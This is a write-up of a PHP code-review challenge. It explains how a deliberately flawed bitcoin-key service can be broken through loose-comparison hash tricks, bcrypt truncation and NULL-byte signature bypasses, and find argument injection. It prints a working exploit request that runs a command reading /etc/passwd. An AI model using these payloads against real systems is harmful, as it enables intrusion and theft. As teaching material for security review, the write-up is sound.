Spot The Bug challenge 2016 write-up

Introduction

You're reading the write-up for the Securify Spot The Bug challenge held on December 2016. If you missed it, you can find the original briefing (and the code) here. It was a close call this year, as the top submissions are of excellent quality. People submitted entire reports with recommendations, risk analysis and some even re-wrote parts of the code! The top two reports were submitted by:

  1. Egidio Romano from Karma(In)Security
  2. Thomas Chauchefoin from Synacktiv

Congratulations Egidio, for winning the bitcoin!

The application

We'll first go over the application for a quick recap of what we were dealing with. An administrator of a hidden service created a PHP application for handling his bitcoin keys. He created a service that's only reachable with a password and a sort of signature. To prevent brute-force attacks, he tried to create a mechanism that prevents logging in after a certain amount of attempts.

The service allows for three calls. The administrator can read a key file, destroy a key file, and create a backup. When destroying a key file, the file first gets overwritten with random bytes to prevent forensic recovery. When creating a backup, the contents are encrypted.

The bugs

This section describes the bugs (and exploits) step-by-step, to get from a password bypass to code execution. After that, we discuss some bugs with less impact. If you're having trouble following along, try taking a look at the full code.

Bypassing the admin key check

The first step in the application is bypassing the check for the admin key. A variable named ADMIN_KEY is loaded from the environment. Its value is compared to the POST-parameter key. Our goal is to bypass this check.

// Get the admin key, or use an unguessable random key to block brute-force attacks
if ($_SESSION['timelocked'])
	$key = hash('joaat',explode(" ", microtime())[0]*1000000);
else
	$key = getenv('ADMIN_KEY');
       
// My admin key provided?
if ($_POST['key'] == $key) {
	[... ...]
}
        
// Keep track of attacker's wrong login attempts and timelock them after too many logins
else
	if (++$_SESSION["loginAttempts"] > getenv('SETTINGS_LOGIN_TRESHOLD'))
		$_SESSION['timelocked'] = true;

One way to attack this application is by just brute-forcing the admin key. The admin tried to create a lockout mechanism to prevent trying passwords after SETTINGS_LOGIN_TRESHOLD attempts. This is done by keeping track of a counter on the user's session. As you may know, the server keeps track of a session with the user's cookie. To circumvent this brute-force protection, an attacker can just send requests without cookies to keep trying passwords.

Let's presume an attacker does keep his session. What happens to the session when the brute-force threshold is hit? The session will get a 'timelocked' flag. Now every time someone connects with the session, the admin key is changed to a joaat hash created on the microtime counter. Let's take a look at that.

PHP's microtime function returns two values separated by a space: the microsecond counter and the current timestamp. Our code takes the first of these values, which is the microsecond counter, and converts it to an actual number.

Example code:

$a = microtime();
echo $a."\n";
echo (explode(" ",$a)[0]*1000000)."\n";

Example output:

0.91431800 1485786634
914318

There are a million microseconds in a second, so the microsecond counter can only have a million possible values! But what about the hashes? Let's loop through the hashes, and see if there are any collisions.

Example code:

$i = 1000000;
$hashes = array();
       
while ($i >= 0) {
	$hash = hash('joaat',$i);
         
	if (in_array($hash, $hashes))
		echo "Double hash: ".$hash."\n";
	else
		array_push($hashes, $hash);
          
	$i -= 1; 
}

Example output:

Double hash: 0e288640
Double hash: 0e776499
Double hash: 0e935034
...

There are a lot of collisions. This might help us brute-force the 'random' key faster then the actual key! However, this is only the start. Let's look at the following example code, where we compare each hash with the value "0" (a string containing zero):

Example code:

$i = 1000000;
       
while ($i >= 0) {
	$hash = hash('joaat',$i);
        
	if ($hash == "0")
		echo "Huh: ".$hash."\n";
        
	$i -= 1; 
}

Example output:

Huh: 0e721372
Huh: 0e288640
Huh: 0e776499
...

What's happening here? None of the hashes actually consist of the value "0", but they are considered equal. This is caused by using two equal signs in PHP. Using two equal signs is called loose comparison, and causes PHP to go type juggling. When both strings are numbers, even though they are strings, PHP will convert them to actual numbers. The string "0e721372" is considered "zero to the power of 721372". Therefor, it will think the value is equal to the string "0".

We'll run the above script again, counting the number of hashes that equal zero.

$ php joaatMicro.php  | wc -l
     269

For every million microseconds, there are 269 hashes that equal the string zero. That's about one for every 3717 requests. So the easiest way to bypass the check is to just keep sending the string "0" as the key parameter. On average, we'll bypass the security check in about 3700 request, after getting locked out with the timelock flag.

Bypassing the signature check

Our admin has a second authentication mechanism in place. He created some code that compares a hash value to a parameter called signature. The hash is created using the function password_hash with a static salt. The value is the parameter iv, prepended to a secret key. The secret key is called SIGNATURE_KEY, which is an environment variable. No loose comparison here.

// Generate secure hash for signatures
    // Use iv for randomized signatures against replay attacks
    // And a strong random salt for extra security
    $sigOptions = ["salt" => ">R?Lw1'u8.g)_r9Qu5#!L@"];
    $localSignature = password_hash($_POST['iv'].getenv('SIGNATURE_KEY'), 1, $sigOptions);
     
    if (hash_equals($localSignature, $_POST['signature'])) {

First thing to notice is that the password_hash function is simply not created for generating signatures. Second, the code comment claims that the iv will prevent replay attacks, which it doesn't. Third, a 'strong random salt' is used for extra security. If we look a the manual page for the password_hash function, we can see in the notes that "It is strongly recommended that you do not generate your own salt for this function.".

There are two bypasses for the above signature check. The first has to do with password_hash truncating strings longer than 72 characters. Again, from the manual: "Using the PASSWORD_BCRYPT as the algorithm, will result in the password parameter being truncated to a maximum length of 72 characters.".

Example code:

$sig_key = "superSecretKey";
$sigOptions = ["salt" => ">R?Lw1'u8.g)_r9Qu5#!L@"];
          
for ($i=70;$i<74;$i++) {
	$iv = str_repeat("a",$i);
	$localSignature = password_hash($iv.$sig_key, 1, $sigOptions);
	print $localSignature."\n";
}

Example output:

$2y$10$PlI/THcxJ3U4LmcpX3I5UOb1JH.XWeKYT2jtFl4EleuIM/11SMqbu
$2y$10$PlI/THcxJ3U4LmcpX3I5UOdQH/e3aC1cnbsaUpMwheUf7NMAGnHu6
$2y$10$PlI/THcxJ3U4LmcpX3I5UO/Xf72r9IKRYWSHp0WuHi6f/ErSyXvVW
$2y$10$PlI/THcxJ3U4LmcpX3I5UO/Xf72r9IKRYWSHp0WuHi6f/ErSyXvVW

The last two hashes are the same, because the secret key is completely removed from the string when our iv parameter is longer than 72 characters.

Another bypass for the signature check can be performed using NULL-bytes. Let's hash two values containing NULL-bytes with password_hash.

Example code:

$sigOptions = ["salt" => ">R?Lw1'u8.g)_r9Qu5#!L@"];
       
$sig_key = "WeDon'tEvenCareAboutThisKey";
$iv = "foo\0";
echo password_hash($iv.$sig_key, 1, $sigOptions)."\n";
      
$sig_key = "ItCanBeAnything";
$iv = "foo\0bar";
echo password_hash($iv.$sig_key, 1, $sigOptions)."\n";

Example output:

$2y$10$PlI/THcxJ3U4LmcpX3I5UOuWrdVHtNOHw48KuAHZtfub/0jWKx6oi
$2y$10$PlI/THcxJ3U4LmcpX3I5UOuWrdVHtNOHw48KuAHZtfub/0jWKx6oi

Both hashes are the same, even though the first string is foo\0 and the second string is foo\0bar. Not only that, it doesn't seem to matter which secret key we use. This behavior is caused by the null-byte after foo. The password_hash method will truncate everything after the NULL-byte.

Executing system commands

In the next code snippet, the call parameter will decide which service call to perform. A filename is selected using the key parameter (the admin key). The code uses the system command find to search for the corresponding key file and return its filename. The getKeyFile call will return the content of the file.

// Which action to run?
parse_str("call=".$_POST['call']);
        
$filename = exec("find /store/bitcoin/keyfiles -iname " . escapeshellcmd($key));
// Dump coin keys from key file.
if ($call == "getKeyFile") {
	echo file_get_contents($filename);
}

The call parameter that's used in parse_str can be used to overwrite any variable. For example, call=getKeyFile%26key%3dfoo will cause the key variable to contain the value foo. This property can be abused to execute arbitrary system commands.

PHP's escapeshellcmd is used to escape user input in the system command. Again, looking in the manual pages gives us a security warning: escapeshellcmd() should be used on the whole command string, and it still allows the attacker to pass arbitrary number of arguments. For escaping a single argument escapeshellarg() should be used instead. This means that we can pass any number of arguments to the find command using the variable key! One way to exploit this is the following:

call=getKeyFile%26key%3dfoo%20-or%20-exec%20echo%20/etc/passwd%20;%20-quit

The shell command will now look like:

find . -iname foo -or -exec echo /etc/passwd \; -quit

escapeshellcmd nicely escape the ;*for us, which is just what we need. :)

Those were the top three security vulnerabilities: bypassing both security checks and executing system commands. Below you can find a URL to exploit the code from the challenge. Note that the URL has to be called a few thousand times on average. And of course, instead of echoing /etc/passwd, it's possible to execute arbitrary commands ;)

key=0&call=getKeyFile%26key%3dfoo%20-or%20-exec%20echo%20/etc/passwd%20;%20-quit&signature=$2y$10$PlI/THcxJ3U4LmcpX3I5UO5M66/FXSwSiocghoaGiArhirhHdbwx.&iv=%00

We'll now continue with other vulnerabilitites that can be found in the code.

Shredding randomness

Let's take a quick look at the code to overwrite the file with random bytes before removing it.

// Destroy keys!
if ($call == "destroyKeyFile") {
	// overwrite file with random bytes before removing
	exec('x=`wc -l < '.$filename.'`; head -c $x /dev/random | dd conv=notrunc bs=1 
	count="$x" of='.$filename);
	unlink($filename);
}

Here, part of the file is overwritten using random bytes. However, by using wc -l instead of wc -c, we're only overwriting as many bytes as the number of newlines in the file!

Backup crypto

As many contestants mentioned, the encryption code for the backup is really bad. The algorithm used for encryption is plain DES, and the block cipher mode is ECB. The content is then put in a temporary file, which is not removed. The file is then uploaded to some endpoint.

// Move keys
if ($call == "createBackup") {
	$encryptedData = base64_encode(mcrypt_encrypt(
		MCRYPT_DES,mcrypt_create_iv(4),file_get_contents($filename),MCRYPT_MODE_ECB));
	file_put_contents("tmpfile", $encryptedData);
	$ch = curl_init();
	curl_setopt($ch, 47, true);
	curl_setopt($ch, 10015, array('file' => '@tmpfile'));
	curl_setopt($ch, 10002, 'goo.gl/obcMR5');
	curl_exec($ch); curl_close($ch);
}

The DES algorithm is considered broken and should not be used for encryption.

ECB is a block mode that simply encrypts every plaintext block without any interaction between blocks. Every block with the same plaintext will have the same ciphertext. Multiple vulnerabilities are introduced by using this mode. The first and most obvious is that an attacker can just compare blocks. If the plaintext for one block is known, the plaintext for a block with the same ciphertext must be the same. Another issue is the ability for an attacker to shuffle blocks around. Because the blocks are not linked in any way, swapping two blocks will also swap the same plaintext blocks.

What's even weirder about our admin's code is the use of mcrypt_create_iv(4) for creating the encryption key. This means the key is just four random bytes! Such a file can be decrypted by our admin, but also by us.

Other bugs noted by contestants

  • hash_equals allows for a timing attack that can leak the length of a secret key.
  • Backups are transmitted without TLS / certificate pinning.
  • /dev/random might block when overwriting the file. Not something you'd want when in a hurry.
  • Validation of user input is not that strict. No checks are performed on parameter length, etc.
  • Output from getenv is not checked to actually contain a value.
  • Poor error checking in general; no checking if file are actually deleted, etc.
  • The admin key is stored in plain text.
  • Loose comparison does not compare in constant time, which might allow for a timing attack in some scenarios.
  • curl_exec may print a result to the page.

See you next time

So what did you think of the challenge? Too simple, too hard? Any constructive feedback is welcome, as well as hints/tips or bug ideas. We'll try to incorporate your feedback to improve future challenges. The email address for our Spot The Bug is stb@securify.nl. You can also subscribe to our Spot The Bug mailing list on that address (you have to specify that you want to subscribe). You'll receive information about the status of current and future challenges.

We thank all participants for their time and effort. It's always great to see the mind of other pentesters at work. And as always, we hope that you, like us, learn something new every challenge.

Happy bug hunting, and we hope to see you again next time!

Vragen of feedback?